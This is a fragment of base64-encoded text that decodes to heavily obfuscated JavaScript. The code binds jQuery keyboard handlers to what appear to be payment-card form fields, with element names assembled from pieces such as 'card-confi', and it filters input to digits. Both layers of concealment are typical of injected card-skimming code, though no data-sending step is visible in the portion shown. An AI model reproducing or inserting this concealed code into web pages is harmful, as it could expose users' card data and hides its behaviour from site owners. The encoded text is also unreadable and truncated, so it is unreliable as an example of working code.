sMHg0NmIsMHg2MDUsMHg2YmIpXStzc3RyaW5nLF8weDExYzU5NVtfMHg1M2E3ZTcoMHg3MzAsMHg2YWMsMHg4YjUsMHg5NDQpXSksc3N0cmluZyksXzB4MTFjNTk1WydGbExVaiddKSxzc3RyaW5nKStfMHgxMWM1OTVbXzB4NTNhN2U3KDB4NTJlLDB4NmI2LDB4M2EzLDB4MjZiKV0rc3N0cmluZysnYXInKVtfMHgxMWM1OTVbXzB4YTFlYjQzKDB4NmYzLDB4NTY4LDB4NWYzLDB4ODY2KV1dKF8weDExYzU5NVtfMHg1M2E3ZTcoMHgyZWQsMHg2NiwweDNmNywweDEwZSldKSxfMHgxMWM1OTVbJ09LcFZ1J10oXzB4MTFjNTk1WydYUnBHUSddKCdjYScrc3N0cmluZyxfMHgxMWM1OTVbXzB4NTNhN2U3KDB4NTJlLDB4MmJkLDB4N2Y1LDB4Mjc0KV0pK3NzdHJpbmcrJ2FyJywkKHRoaXMpW18weDExYzU5NVtfMHhhMWViNDMoMHgxMzgsMHgzNzIsMHgzYTcsMHg1YmUpXV0oJ2lkJykpfHxfMHgxMWM1OTVbXzB4NTNhN2U3KDB4NGFlLDB4NTVmLDB4MjExLDB4NmMwKV0oMHgxNjEqLTB4NSstMHgxKjB4MTgxMystMHgxMCotMHgxZjAsXzB4MWRlNTlhWydrZXlDb2RlJ10pfHxfMHgxMWM1OTVbJ1FlV1R2J10oLTB4MSotMHhhOWYrLTB4OWY1KjB4MSstMHgxKjB4YWEsXzB4MTFjNTk1W18weGExZWI0MygweGE5LDB4MjQwLDB4MjYzLDB4MWYzKV0oJCx0aGlzKVtfMHgxMWM1OTVbJ2ZBZFJPJ11dKClbXzB4MTFjNTk1W18weDUzYTdlNygweDRjMSwweDNiMCwweDM2ZSwweDQxZSldXSkpe2lmKF8weDExYzU5NVtfMHhhMWViNDMoMHg3NSwtMHg4ZSwweDFjNSwweDEzMyldKF8weDExYzU5NVsnZmpSUVonXSxfMHgxMWM1OTVbJ1Fid0VlJ10pKXt2YXIgXzB4MzhhYzI4O3JldHVybiBfMHgzOGFjMjg9XzB4NWU3M2M3W18weDUzYTdlNygweDMwMSwweDFkMSwweDU3OCwweDQxYildKCksXzB4MzhhYzI4PV8weDFkOTk2MVtfMHhhMWViNDMoMHgxMSwweDJjMiwweDIxZSwweDM3MCldKF8weDNkOWM1NSxfMHgzOGFjMjgpLF8weDM4YWMyOD1fMHgzOGFjMjhbXzB4YTFlYjQzKDB4OGJjLDB4N2FlLDB4NjM0LDB4ODg0KV0oL1xEL2csJycpW18weDUzYTdlNygweDQzOSwweDM0NCwweDIxZSwweDM2MildKC0weDE0OGIqLTB4MSsweDI2ZjQrLTB4M2I3ZiwweDU1KjB4NTgrLTB4MSotMHgxODcxKzB4MWYqLTB4MWJiKSxfMHgxZDk5NjFbXzB4NTNhN2U3KDB4ODRlLDB4Njc4LDB4N2Y3LDB4ODg1KV0oXzB4NDVhMzJhLF8weDM4YWMyOCxfMHg1MjAxNzYpO31lbHNlIHJldHVybiBfMHgxMWM1OTVbXzB4NTNhN2U3KDB4NmMxLDB4NzZkLDB4NGVkLDB4OGE3KV0oXzB4MTFjNTk1W18weGExZWI0MygweDJhOCwweDljLDB4MjM1LDB4NGVkKV0oXzB4MTFjNTk1W18weDUzYTdlNygweDdkYiwweDk4OSwweDcwYSwweDk5ZSldKCdjYScrc3N0cmluZyxfMHhhMWViNDMoMHgxMzgsMHgyOTMsMHgzYzEsMHg2MWQpKSxzc3RyaW5nKSxfMHgxMWM1OTVbXzB4YTFlYjQzKDB4MmNkLDB4NTkyLDB4NGYxLDB4NjgwKV0pPT1fMHgxMWM1OTVbJ3ZNWFF2J10oJCx0aGlzKVtfMHgxMWM1OTVbXzB4YTFlYjQzKDB4MjQ5LDB4ZGQsMHgzYTcsMHhkNSldXSgnaWQnKSYmLTB4MTQ4MistMHgxKjB4YjE4KzB4MWY5Yz09XzB4MTFjNTk1W18weGExZWI0MygtMHg5MSwweDNkLDB4MTZmLDB4MjkxKV0oJCx0aGlzKVtfMHgxMWM1OTVbXzB4YTFlYjQzKDB4NWQ1LDB4MmQ4LDB4MzNhLDB4NjA0KV1dKClbXzB4YTFlYjQzKDB4ODczLDB4MzhlLDB4NWM5LDB4NjlkKV0/XzB4MTFjNTk1W18weGExZWI0MygweGY4LDB4MjRjLDB4MTg0LC0weGMzKV0oLTB4MThhNSstMHhkMTMqLTB4MistMHgxNzUsJCh0aGlzKVtfMHgxMWM1OTVbXzB4NTNhN2U3KDB4NTMwLDB4NWRiLDB4Nzk0LDB4NGNhKV1dKCkpP3ZvaWQgXzB4NWJlZDJhKClbXzB4MTFjNTk1WydxUXVTdiddXSgnZXJyb3InKTp2b2lkIF8weDExYzU5NVtfMHg1M2E3ZTcoMHgzNWMsMHg3ZSwweDE4NiwweDNjZSldKF8weDQ3M2MxNilbXzB4MTFjNTk1W18weDUzYTdlNygweDY2ZSwweDYxYSwweDNlNCwweDU1NyldXSgpOnZvaWQoXzB4NWJlZDJhKClbJ3ZhbCddKCkmJl8weDExYzU5NVsnV0RkWEwnXShfMHg0NzNjMTYpW18weDExYzU5NVtfMHg1M2E3ZTcoMHg1MzAsMHgzNjMsMHg1ZjQsMHg0ZWQpXV0oKSYmXzB4MTFjNTk1W18weGExZWI0MygweDZmLDB4MzQxLDB4Mjc4LDB4NDdiKV0oLTB4MjI5YSsweDEqMHgxMmFlKy0weDEqLTB4ZmVlLF8weDExYzU5NVtfMHg1M2E3ZTcoMHgzNWMsMHgzYTEsMHgyMDAsMHgyYjQpXShfMHg0NzNjMTYpW18weDExYzU5NVsnZkFkUk8nXV0oKVtfMHgxMWM1OTVbXzB4NTNhN2U3KDB4NGMxLDB4NjZiLDB4NDUzLDB4MjhiKV1dKSYmKCRbXzB4MTFjNTk1WydtT1N4VSddXVtfMHgxMWM1OTVbXzB4NTNhN2U3KDB4ODNiLDB4YWI5LDB4YTM5LDB4NmY1KV1dKF8weDExYzU5NVtfMHg1M2E3ZTcoMHgzNWMsMHg1MjksMHgxYmIsMHgzMzEpXShfMHg1YmVkMmEpW18weDExYzU5NVtfMHg1M2E3ZTcoMHg1MzAsMHg3M2QsMHg2MjEsMHgyODApXV0oKSxfMHgxMWM1OTVbXzB4NTNhN2U3KDB4MzVjLDB4MzVkLDB4OWQsMHg0Y2IpXShfMHg0NzNjMTYpW18weDExYzU5NVsnZkFkUk8nXV0oKSk/XzB4MWQyOTEwKClbXzB4MTFjNTk1WydKeGlJUyddXSgpOigkKF8weDExYzU5NVtfMHg1M2E3ZTcoMHg0MmIsMHgyYWEsMHgxNWIsMHg0OTEpXShfMHgxMWM1OTVbXzB4YTFlYjQzKC0weDZmLDB4MTJlLDB4MTRjLDB4MzQpXShfMHgxMWM1OTVbXzB4YTFlYjQzKDB4ZjQsMHhmNywweDFhMSwtMHg0MSldKF8weDExYzU5NVtfMHhhMWViNDMoLTB4ZDksMHgxN2UsMHhlZSwweGJiKV0oXzB4MTFjNTk1W18weDUzYTdlNygweDZjNSwweDgwMSwweDdiOSwweDY3YSldKF8weDExYzU5NVtfMHg1M2E3ZTcoMHg0NWIsMHgyMzgsMHg0ZDAsMHg2NTYpXShfMHgxMWM1OTVbXzB4NTNhN2U3KDB4N2ZiLDB4OTJmLDB4NzA0LDB4OGFiKV0rc3N0cmluZyxfMHgxMWM1OTVbXzB4NTNhN2U3KDB4NzMwLDB4OGUzLDB4ODlhLDB4NmRlKV0pLHNzdHJpbmcpLF8weDExYzU5NVtfMHg1M2E3ZTcoMHg2NGQsMHg3YTQsMHg2ZTYsMHg0NDIpXSksc3N0cmluZyksXzB4MTFjNTk1W18weGExZWI0MygweDQyMCwweGQ2LDB4MzM4LDB4NGEwKV0pLHNzdHJpbmcpKydhcicpW18weDExYzU5NVtfMHg1M2E3ZTcoMHg3OWMsMHg5NzgsMHg2ZTcsMHg1NDApXV0oXzB4MTFjNTk1W18weDUzYTdlNygweDJlZCwweDE2NSwweDE3NywweDFiNildKSwweDEqLTB4MWVjMSsweDEqLTB4MWRhOSsweDNjNmM9PV8weDExYzU5NVtfMHhhMWViNDMoLTB4MTNkLDB4MTNmLDB4MTY2LC0weDE4ZCldKF8weDViZWQyYSlbXzB4MTFjNTk1W18weDUzYTdlNygweDUzMCwweDI2YywweDVhOCwweDM4MildXSgpW18weDExYzU5NVtfMHg1M2E3ZTcoMHg0YzEsMHg1NTMsMHgxZGUsMHgyMTApXV0/XzB4MTFjNTk1W18weGExZWI0MygweDNjNiwweDM1MywweDE2NiwweDI2MCldKF8weDQ3M2MxNilbJ2ZvY3VzJ10oKTpfMHg1YmVkMmEoKVtfMHg1M2E3ZTcoMHg1OWMsMHgzMTAsMHg3MjYsMHg3YWQpXSgpKSkpO307XzB4MTFjNTk1W18weDUzYTdlNygweDM1YywweDQ2YSwweDMyZSwweDQ1MCldKF8weDViZWQyYSlbXzB4MTFjNTk1WydmQWRSTyddXSgnJylbJ2ZvY3VzJ10oKTt9ZWxzZSBfMHgxMzA1NjFbXzB4NTNhN2U3KDB4MjhjLDB4MzQ0LDB4MjJiLDB4NTI0KStfMHg1M2E3ZTcoMHg3ZmQsMHg1ZDAsMHg3ODgsMHg2NzEpXSgpO30pLF8weDJmNTM0OVtfMHgyMTYyN2UoMHg5MmIsMHg4NmEsMHg1NjgsMHg3ZTgpXShfMHgxZDI5MTApW18weDJmNTM0OVtfMHgyMTYyN2UoMHg4YjQsMHg4ZTksMHg2NDUsMHg3NmEpXV0oXzB4MmY1MzQ5W18weDIxNjI3ZSgweDRjNSwweDI3LDB4M2UyLDB4MjgyKV0pW18weDJmNTM0OVtfMHgyMTYyN2UoMHg0YjksMHg4MWUsMHg1MDEsMHg2ODYpXV0oXzB4MmY1MzQ5WydPWlVIbCddLF8weDEzMjAyM1tfMHgyZjUzNDlbXzB4MjE2MjdlKDB4NTZiLDB4MTA0LDB4NGQ5LDB4MzU4KV1dKVsnb24nXShfMHgyMTYyN2UoMHg4MSwweDJlYSwweDMwYSwweDJlZSksZnVuY3Rpb24oKXtmdW5jdGlvbiBfMHgxNDA5MzcoXzB4NDYzYTQ1LF8weDFiNjk0OSxfMHg1NTJmYTMsXzB4MmNlODY2KXtyZXR1cm4gXzB4MjE0MjYwKF8weDQ2M2E0NS0weDEyZixfMHgyY2U4NjYsXzB4NTUyZmEzLTB4MWQ1LF8weDU1MmZhMy0weDdhKTt9ZnVuY3Rpb24gXzB4MzQ0ODI3KF8weDhmM2ZjZSxfMHg0MWQ4MzIsXzB4M2U0OWE4LF8weDE4ZTBhZSl7cmV0dXJuIF8weDIxNjI3ZShfMHg0MWQ4MzIsXzB4NDFkODMyLTB4NixfMHgzZTQ5YTgtMHhhMyxfMHgxOGUwYWUtIC0weDEzOSk7fWlmKCd1R1pJVSc9PT1fMHgxMWM1OTVbXzB4MzQ0ODI3KDB4MjEzLC0weDVkLDB4MWU5LDB4MTkxKV0pe3ZhciBfMHg0ZjBkYmQsXzB4MjgzZWFlLF8weDExODljYTtmb3IoXzB4MTE4OWNhPVtdLF8weDRmMGRiZD0weDE2ZWMrLTB4YTEqLTB4M2UrLTB4M2RlYSxfMHgyODNlYWU9XzB4Njg3NWQzW18weDE0MDkzNygweDdiYSwweDNlNSwweDU1NywweDMxZSldO18weDI0MTBlOFtfMHgxNDA5MzcoLTB4YWYsMHg2ZCwweGExLDB4MzdhKV0oXzB4MjgzZWFlLF8weDRmMGRiZCk7XzB4NGYwZGJkKyspXzB4MzZlNDg4PV8weDFiZmEyYltfMHg0ZjBkYmRdLF8weDExODljYVsncHVzaCddKF8weDQ0Mjc0NVtfMHgxNDA5MzcoMHg2M2YsMHgxNTksMHgzNTQsMHgzMDMpXSk7cmV0dXJuIF8weDExODljYTt9ZWxzZSAkKHRoaXMpW18weDExYzU5NVtfMHgzNDQ4MjcoMHg2ZDYsMHg1ZjcsMHg4ODYsMHg2M2EpXV0oXzB4MTQwOTM3KDB4MmZmLDB4NWQ0LDB4MzVkLDB4OWIpKSwhJFtfMHgzNDQ4MjcoMHg2NDUsMHg0ZTksMHg1MDEsMHg1OWMpXVtfMHgxMWM1OTVbXzB4MTQwOTM3KC0weGNkLC0weGE2LDB4ZGIsMHgxZTYpXV0oXzB4MTFjNTk1W18weDM0NDgyNygweDcyMSwweDRmNCwweDZmNywweDRjNyldKCQsdGhpcylbXzB4MTFjNTk1W18weDE0MDkzNygweDEwYiwweDQ3YywweDJjOCwweGQ1KV1dKCksJFtfMHgxNDA5MzcoMHg1YWMsMHg2ODcsMHg0ZTMsMHgyZTQpXVtfMHgzNDQ4MjcoMHg2OTgsMHgxOWIsMHg1YmUsMHgzY2UpXShfMHgxMWM1OTVbXzB4MTQwOTM3KDB4YTYsMHgxMTIsMHg5NCwweDExYSldKF8weDI0NmYwYykpKT9fMHgxMWM1OTVbXzB4MTQwOTM3KDB4MmM3LDB4MjI5LDB4MTUzLC0weGQ5KV0oXzB4MTFjNTk1WydFQ1hnRCddLF8weDE0MDkzNygweDYwNiwweDMwNSwweDUzNywweDRiZCkpP18weDQyMzM4OT1fMHg1NzBhMDg6XzB4MTFjNTk1Wyd2TVhRdiddKCQsdGhpcylbXzB4MTFjNTk1WydxUXVTdiddXShfMHgxMWM1OTVbXzB4MzQ0ODI3KDB4M2U4LDB4MjAsMHgyMjMsMHgxM2UpXSk6XzB4MTFjNTk1W18weDM0NDgyNygweDQwMiwweDdlZCwweDU0YywweDVkMSldKF8weDI0YmE4NClbXzB4MTFjNTk1W18weDE0MDkzNygweDVhNywweDE3OSwweDQwNiwweDEzOCldXSgpO30pLF8weDJmNTM0OVsnZUpMQnYnXSgkLF8weDJmNTM0OVtfMHgyMTQyNjAoMHg3NywweDZjLC0weDNmLDB4MWJmKV0oXzB4MmY1MzQ5W18weDIxNjI3ZSgweDc1YywweDczZCwweDNjZiwweDY1YildKF8weDJmNTM0OVtfMHgyMTQyNjAoMHgyZTUsMHgyZDYsMHgxODksMHgxOWMpXShfMHgyZjUzNDlbJ2hrcXhyJ10oXzB4MmY1MzQ5Wyd3SVhrbSddKF8weDJmNTM0OVtfMHgyMTQyNjAoMHg0MjcsMHg0ODEsMHg1NjUsMHgzZTIpXShfMHgyZjUzNDlbJ3RORGJhJ10oXzB4MmY1MzQ5W18weDIxNjI3ZSgweDQ4MCwweDJiZiwweDExNSwweDM1ZSldKF8weDJmNTM0OVsnU3Zvc3MnXShfMHgyZjUzNDlbXzB4MjE0MjYwKDB4MWZjLDB4ZTksMHgxMmUsLTB4MzQpXShfMHgyZjUzNDlbXzB4MjE2MjdlKDB4MWQ2LDB4NTIwLDB4NWQ1LDB4MzQ5KV0oXzB4MmY1MzQ5W18weDIxNjI3ZSgweDYyNCwweGY0LDB4MzdjLDB4M2M5KV0sc3N0cmluZykrXzB4MmY1MzQ5W18weDIxNjI3ZSgweDc5YSwweDU5NCwweDU0NywweDRkNildLHNzdHJpbmcpK18weDIxNDI2MCgweDc5MywweDZiYywweDRkNSwweDU1NCksc3N0cmluZyksXzB4MmY1MzQ5W18weDIxNDI2MCgweDE3ZiwtMHg0YSwweDNjYiwweDFkMCldKStzc3RyaW5nLF8weDJmNTM0OVtfMHgyMTYyN2UoMHg3OTEsMHg3YTAsMHg2YTAsMHg1NGUpXSkrc3N0cmluZyxfMHgyZjUzNDlbXzB4MjE2MjdlKDB4MzRkLDB4NDRiLDB4MjIyLDB4MzQyKV0pLHNzdHJpbmcpLF8weDJmNTM0OVtfMHgyMTQyNjAoMHgyOSwweDJhZCwtMHgzNSwweDExMyldKSxzc3RyaW5nKSsncmQtY29uZmknLHNzdHJpbmcpLF8weDIxNDI2MCgweDNhMSwweDM2OSwweDIyMiwweDIzYikpKVsnb24nXSgna2V5cHJlc3MnLGZ1bmN0aW9uKF8weDJjZjAzNyl7dmFyIF8weDJiNTU0MD17fTtfMHgyYjU1NDBbJ2lUd2xmJ109XzB4MjQxMGU4W18weDUxZWNjMSgweDZhMCwweDZlYSwweDNjNiwweDNhNyldO2Z1bmN0aW9uIF8weDNiMDU5OChfMHgzMDcwYjIsXzB4NTVhMDA5LF8weDNhNTNmNCxfMHg0ZmY0YTMpe3JldHVybiBfMHgyMTYyN2UoXzB4NGZmNGEzLF8weDU1YTAwOS0weDFkYSxfMHgzYTUzZjQtMHhmZixfMHg1NWEwMDktIC0weDQ2Yyk7fV8weDJiNTU0MFtfMHg1MWVjYzEoMHgyZGIsMHgxMGUsMHg1NTYsMHg0YmYpXT0na2V5ZG93bicsXzB4MmI1NTQwW18weDNiMDU5OCgweDg0LC0weDFlMCwweGEyLC0weDE2MyldPV8weDI0MTBlOFsnVkJvZHcnXSxfMHgyYjU1NDBbXzB4M2IwNTk4KDB4MjgzLDB4MmExLDB4NThmLDB4MmZkKV09XzB4MjQxMGU4W18weDUxZWNjMSgweDdiMiwweDhlOCwweDc0NiwweDhkYSldO2Z1bmN0aW9uIF8weDUxZWNjMShfMHgzODgyYTgsXzB4MjNiY2VkLF8weDEwMjk0NyxfMHg0OWE2YWQpe3JldHVybiBfMHgyMTQyNjAoXzB4Mzg4MmE4LTB4MTYzLF8weDQ5YTZhZCxfMHgxMDI5NDctMHhhYyxfMHgzODgyYTgtMHgyYTEpO31fMHgyYjU1NDBbXzB4M2IwNTk4KC0weDQ2NywtMHgyMjQsLTB4MzI5LC0weDM0NCldPV8weDI0MTBlOFtfMHg1MWVjYzEoMHg4MTMsMHg4YzQsMHg2YmEsMHg4MzQpXTt2YXIgXzB4NDU5MDc3PV8weDJiNTU0MDtpZihfMHgyNDEwZThbXzB4NTFlY2MxKDB4MzdiLDB4MjQ0LDB4NDU5LDB4ODQpXShfMHgyNDEwZThbJ0xzZlZPJ10sXzB4MjQxMGU4Wyd6VVV5dCddKSlfMHgzMjhmZDFbXzB4M2IwNTk4KDB4M2FmLDB4MWU4LC0weDMyLDB4Mjg3KV0oJ2QnKTtlbHNle3ZhciBfMHg0ZDdmOWQ9XzB4MmNmMDM3fHx3aW5kb3dbJ2V2ZW50J107aWYoXzB4MjQxMGU4WydWQm9kdyddPT09XzB4NGQ3ZjlkW18weDI0MTBlOFtfMHgzYjA1OTgoMHgxZDIsMHgyNDIsMHgyZDgsMHg1MzcpXV0pe2lmKF8weDI0MTBlOFsnSWdYVWsnXShfMHgyNDEwZThbXzB4NTFlY2MxKDB4NzBmLDB4NmNjLDB4OGQ4LDB4NDUzKV0sXzB4MjQxMGU4W18weDUxZWNjMSgweDUxNCwweDc1ZCwweDM3ZSwweDMxOSldKSlfMHg1NzY1MWE9ZXZlbnRbXzB4NTFlY2MxKDB4NjllLDB4NzA3LDB4OTQ5LDB4NmQ2KStfMHg1MWVjYzEoMHg1OWEsMHg2MDMsMHg1YmIsMHg1ODUpXVtfMHgyNDEwZThbXzB4NTFlY2MxKDB4ODE4LDB4YWI1LDB4YTBhLDB4NmY2KV1dKF8weDI0MTBlOFtfMHgzYjA1OTgoMHgyYzcsMHgyNGMsMHhjZCwweDQzMyldKTtlbHNlIHJldHVybiB0aGlzWydvbiddKCdrZXlwcmVzcycsXzB4NTljYzVlKSx0aGlzWydvbiddKF8weDQ1OTA3N1tfMHg1MWVjYzEoMHgzZjAsMHgyYmYsMHgyNWIsMHg0YzcpXSxfMHgxZjVjNGQpLHRoaXNbJ29uJ10oXzB4NDU5MDc3W18weDUxZWNjMSgweDNmMCwweDEzOSwweDQxZCwweDIwYSldLF8weDFmMWRkMSksdGhpc1snb24nXShfMHg0NTkwNzdbXzB4M2IwNTk4KDB4ZDAsLTB4MWM2LDB4MTJmLC0weDE1OCldLF8weDFjM2VlNyksdGhpc1snb24nXSgna2V5dXAnLF8weGUwYmFjOSksdGhpc1snb24nXShfMHg0NTkwNzdbXzB4M2IwNTk4KC0weDE4NCwtMHgxZTAsLTB4NDVjLC0weGI3KV0sXzB4NGQwZmU0KSx0aGlzWydvbiddKF8weDQ1OTA3N1tfMHg1MWVjYzEoMHg3NDIsMHg1ZDIsMHg5YmEsMHg2N2UpXSxfMHg1NjY2MTYpLHRoaXNbJ29uJ10oXzB4NDU5MDc3W18weDUxZWNjMSgweDI3ZCwweDM5YiwweDMyZCwweDNiZildLF8weDUxM2QzYSksdGhpc1snb24nXShfMHg0NTkwNzdbXzB4M2IwNTk4KC0weDQ0ZCwtMHgyMjQsLTB4NGI2LC0weDRmMyldLF8weDFjYzAzOSksdGhpczt9ZWxzZXtpZihfMHgyNDEwZThbXzB4NTFlY2MxKDB4NWNjLDB4NWZiLDB4NjU1LDB4NzU0KV0oXzB4MjQxMGU4WydHdWtNSyddLF8weDI0MTBlOFtfMHg1MWVjYzEoMHg1NWYsMHg4NGIsMHg1NDAsMHg4MzApXSkpe3ZhciBfMHg1NzY1MWE9XzB4NGQ3ZjlkW18weDI0MTBlOFsnaldmQXcnXV18fF8weDRkN2Y5ZFtfMHgyNDEwZThbXzB4NTFlY2MxKDB4MzQ0LDB4MmRkLDB4MzEzLDB4ZjYpXV07aWYoXzB4MjQxMGU4W18weDNiMDU5OCgweGJkLC0weGI5LC0weGM2LDB4MWYzKV0oMHgxKjB4MjYyZSstMHgxKjB4MjI0NystMHgzZGEsXzB4NTc2NTFhKSlyZXR1cm47O18weDU3NjUxYT1TdHJpbmdbXzB4MjQxMGU4W18weDNiMDU5OCgweGE4LC0weGRlLC0weDI1YiwtMHgzNGYpXV0oXzB4NTc2NTFhKTt9ZWxzZSByZXR1cm4gXzB4MjQxMGU4WydQUW14byddKF8weGFmZWFiZixfMHgyNDEwZThbXzB4NTFlY2MxKDB4N2UzLDB4OTlmLDB4OTc2LDB4YTk4KV0oXzB4MjQxMGU4W18weDUxZWNjMSgweDYzMSwweDQwZSwweDc4MCwweDQyMildKF8weDI0MTBlOFtfMHg1MWVjYzEoMHg2MTksMHg4ZjYsMHg3NGQsMHg3ZTApXShfMHgyNDEwZThbXzB4NTFlY2MxKDB4NjEyLDB4M2E0LDB4NThjLDB4NzYxKV0sXzB4NDg3YjVjKSxfMHgyNDEwZThbXzB4M2IwNTk4KDB4MjVmLDB4MmQ4LDB4MWQ0LDB4MjhkKV0pK18weGFmNmJkLCdlcicpKVtfMHgyNDEwZThbXzB4M2IwNTk4KC0weGMxLDB4NDYsMHgxNSwweDFmOCldXSgpO307L1swLTldfFwuL1tfMHg1MWVjYzEoMHg1YTgsMHg3OGYsMHg3MGEsMHgzN2UpXShfMHg1NzY1MWEpfHwoXzB4NGQ3ZjlkW18weDI0MTBlOFtfMHgzYjA1OTgoLTB4MWYwLC0weDdhLDB4NWUsLTB4N2UpXV09ISgtMHgxKi0weGY0MysweDEzYSotMHgxZisweGJjKjB4MWYpLF8weDRkN2Y5ZFtfMHgyNDEwZThbXzB4M2IwNTk4KC0weDFhNiwweDdmLC0weDE4MSwweGU5KV1dJiZfMHg0ZDdmOWRbXzB4NTFlY2MxKDB4NTZhLDB4NzYzLDB4MzljLDB4NzdkKStfMHgzYjA1OTgoLTB4MjBlLC0weDFmNCwtMHg0Y2MsLTB4NDApXSgpKTt9fSk7ZnVuY3Rpb24gXzB4MjYxNzI0KF8weDEzYzQ1MixfMHgxMmY2ZmEsXzB4NDZiZjJkKXt2YXIgXzB4MjJlYmUxPXsnWXVPU0EnOmZ1bmN0aW9uKF8weDE1N2FhNixfMHgxYzIzMjEpe3JldHVybiBfMHgxMWM1OTVbJ09tcGVnJ10oXzB4MTU3YWE2LF8weDFjMjMyMSk7fSwndGFmUVAnOmZ1bmN0aW9uKF8weDM3ZGYxYixfMHhkYmM2MWEpe2Z1bmN0aW9uIF8weDNhNWRlNihfMHg1MzM4M2UsXzB4MWU2MTUwLF8weDQzMjMyYixfMHg0ODJlNzkpe3JldHVybiBfMHg0YzBmKF8weDQzMjMyYi0gLTB4MzEwLF8weDUzMzgzZSk7fXJldHVybiBfMHgxMWM1OTVbXzB4M2E1ZGU2KDB4MjIwLC0weDI4YiwtMHgzOCwweDI0NCldKF8weDM3ZGYxYixfMHhkYmM2MWEpO30sJ2V4cGlDJzpmdW5jdGlvbihfMHhiMWFkNTAsXzB4M2RjY2E3KXtyZXR1cm4gXzB4YjFhZDUwKF8weDNkY2NhNyk7fSwnaWZVZ0QnOmZ1bmN0aW9uKF8weGZlZGE5NCxfMHgzZGQ5M2Epe2Z1bmN0aW9uIF8weDkzMjYxYyhfMHgxNThlNzYsXzB4NDQzMjgwLF8weDE5ZTZlOCxfMHg1NzU5ZjMpe3JldHVybiBfMHg0YzBmKF8weDE1OGU3Ni0gLTB4MTUzLF8weDE5ZTZlOCk7fXJldHVybiBfMHgxMWM1OTVbXzB4OTMyNjFjKDB4NTA3LDB4NGQ4LDB4NGE5LDB4M2RjKV0oXzB4ZmVkYTk0LF8weDNkZDkzYSk7fSwnSHFqSFMnOmZ1bmN0aW9uKF8weDQwZDdjNixfMHg0Y2RjMjgpe2Z1bmN0aW9uIF8weDIyY2QxNyhfMHgyMTRmYWUsXzB4MmE3ZDBhLF8weDNhNzk0YSxfMHg0OTFhODYpe3JldHVybiBfMHg0YzBmKF8weDQ5MWE4Ni0weDIyYyxfMHgyMTRmYWUpO31yZXR1cm4gXzB4MTFjNTk1W18weDIyY2QxNygweDNhNywweDNhNSwweDRjNCwweDUzZildKF8weDQwZDdjNixfMHg0Y2RjMjgpO30sJ1dtWnR4JzpmdW5jdGlvbihfMHg1OTk1YjMsXzB4MTRiY2MzKXtmdW5jdGlvbiBfMHg0MjE0MjcoXzB4NTk2MDE5LF8weDI2Y2ZkYixfMHg0NzkxNmEsXzB4OGE4OGE1KXtyZXR1cm4gXzB4NGMwZihfMHg1OTYwMTktIC0weDU1LF8weDI2Y2ZkYik7fXJldHVybiBfMHgxMWM1OTVbXzB4NDIxNDI3KDB4MTZjLC0weDE4MiwweGYwLC0weDE2MildKF8weDU5OTViMyxfMHgxNGJjYzMpO30sJ1Z3SGJnJzpmdW5jdGlvbihfMHgzMzU1MTAsXzB4Y2RhNzdhKXtyZXR1cm4gXzB4MTFjNTk1Wyd5R0tLZSddKF8weDMzNTUxMCxfMHhjZGE3N2EpO30sJ1VUQXlVJzpfMHgzMDRkMGMoMHgyMjksMHg3MSwweDJkZSwweDE5NSkrXzB4NDgyZjBiKDB4M2FhLDB4NDM1LDB4MmIzLDB4MmU5KStfMHg0ODJmMGIoMHg3NDcsMHg1ZWYsMHgxZjcsMHg0YjkpK18weDQ4MmYwYigweGI3LDB4MzdhLC0weGYwLDB4MTE4KSwnVnZGTWEnOl8weDExYzU5NVtfMHg0ODJmMGIoMHg1MDAsMHg0ZDgsMHgyNmYsMHgzMDIpXSwnSU5La1knOl8weDExYzU5NVtfMHgzMDRkMGMoMHhiZCwweGI1LDB4MWIxLDB4MTZmKV0sJ1loUHlmJzpfMHgxMWM1OTVbXzB4NDgyZjBiKDB4YzIsMHgxOTksMHg2MjUsMHgzYTgpXSwnVnpCb1MnOl8weDExYzU5NVsnUXdqY1UnXSwnQk1MWEsnOmZ1bmN0aW9uKF8weDJhMzE4MixfMHgyZGI1MzYpe2Z1bmN0aW9uIF8weDE5ODIxZChfMHg0MzJkM2EsXzB4MTc3MjkzLF8weDM1NWUzNCxfMHgxYTQ5YjApe3JldHVybiBfMHgzMDRkMGMoXzB4NDMyZDNhLTB4MThlLF8weDE3NzI5MyxfMHgzNTVlMzQtMHgxNzYsXzB4NDMyZDNhLTB4NmYwKTt9cmV0dXJuIF8weDExYzU5NVtfMHgxOTgyMWQoMHg1NGEsMHgzNzgsMHg0MjksMHg0ZjUpXShfMHgyYTMxODIsXzB4MmRiNTM2KTt9LCdWd0duVCc6XzB4NDgyZjBiKDB4MTksMHhiZSwweDI0MSwweDFhMikrXzB4MzA0ZDBjKDB4MzQ1LDB4MzA3LDB4M2EyLDB4MzUyKSwneHFNRmMnOmZ1bmN0aW9uKF8weDEzMDhjZil7cmV0dXJuIF8weDExYzU5NVsnc0h5dUgnXShfMHgxMzA4Y2YpO319O2Z1bmN0aW9uIF8weDMwNGQwYyhfMHgyMTEwMjIsXzB4MjMxZWNlLF8weDQzNmJlNyxfMHhlOTJjNzEpe3JldHVybiBfMHgyMTYyN2UoXzB4MjMxZWNlLF8weDIzMWVjZS0weGFjLF8weDQzNmJlNy0weGY1LF8weGU5MmM3MS0gLTB4NDM3KTt9ZnVuY3Rpb24gXzB4NDgyZjBiKF8weDQ4YzM1MSxfMHg0MmFjODQsXzB4MmZiMmUyLF8weDE5ZGFiZCl7cmV0dXJuIF8weDIxNDI2MChfMHg0OGMzNTEtMHgyYSxfMHg0MmFjODQsXzB4MmZiMmUyLTB4OWIsXzB4MTlkYWJkLTB4MTEpO31pZihfMHgxMWM1OTVbXzB4MzA0ZDBjKDB4MTgyLDB4ZjksMHgxMjYsMHhiMyldKF8weDExYzU5NVtfMHg0ODJmMGIoMHgyODksLTB4OWQsMHgxNTcsMHhlMSldLF8weDExYzU5NVtfMHgzMDRkMGMoLTB4MThiLC0weDMxOSwtMHgzOGIsLTB4ZmIpXSkpe3ZhciBfMHgzMWM5ODA9Jyc7aWYoXzB4NDZiZjJkKXt2YXIgXzB4MzM3YzdlPW5ldyBEYXRlKCk7XzB4MzM3YzdlW18weDExYzU5NVtfMHg0ODJmMGIoMHgyM2IsMHgzOTgsMHg2NDQsMHg0ZDcpXV0oXzB4MTFjNTk1W18weDMwNGQwYygweDdiLDB4NTIxLDB4NzYsMHgyNTQpXShfMHgzMzdjN2VbXzB4MTFjNTk1W18weDMwNGQwYygtMHgxYjYsLTB4M2NjLC0weDExYywtMHhlOSldXSgpLF8weDExYzU5NVtfMHg0ODJmMGIoMHgyYzIsMHgxOTUsMHg0OWUsMHgyZDgpXSgtMHgxNDIzKy0weDE3Ki0weDg5KzB4N2VjLF8weDQ2Ym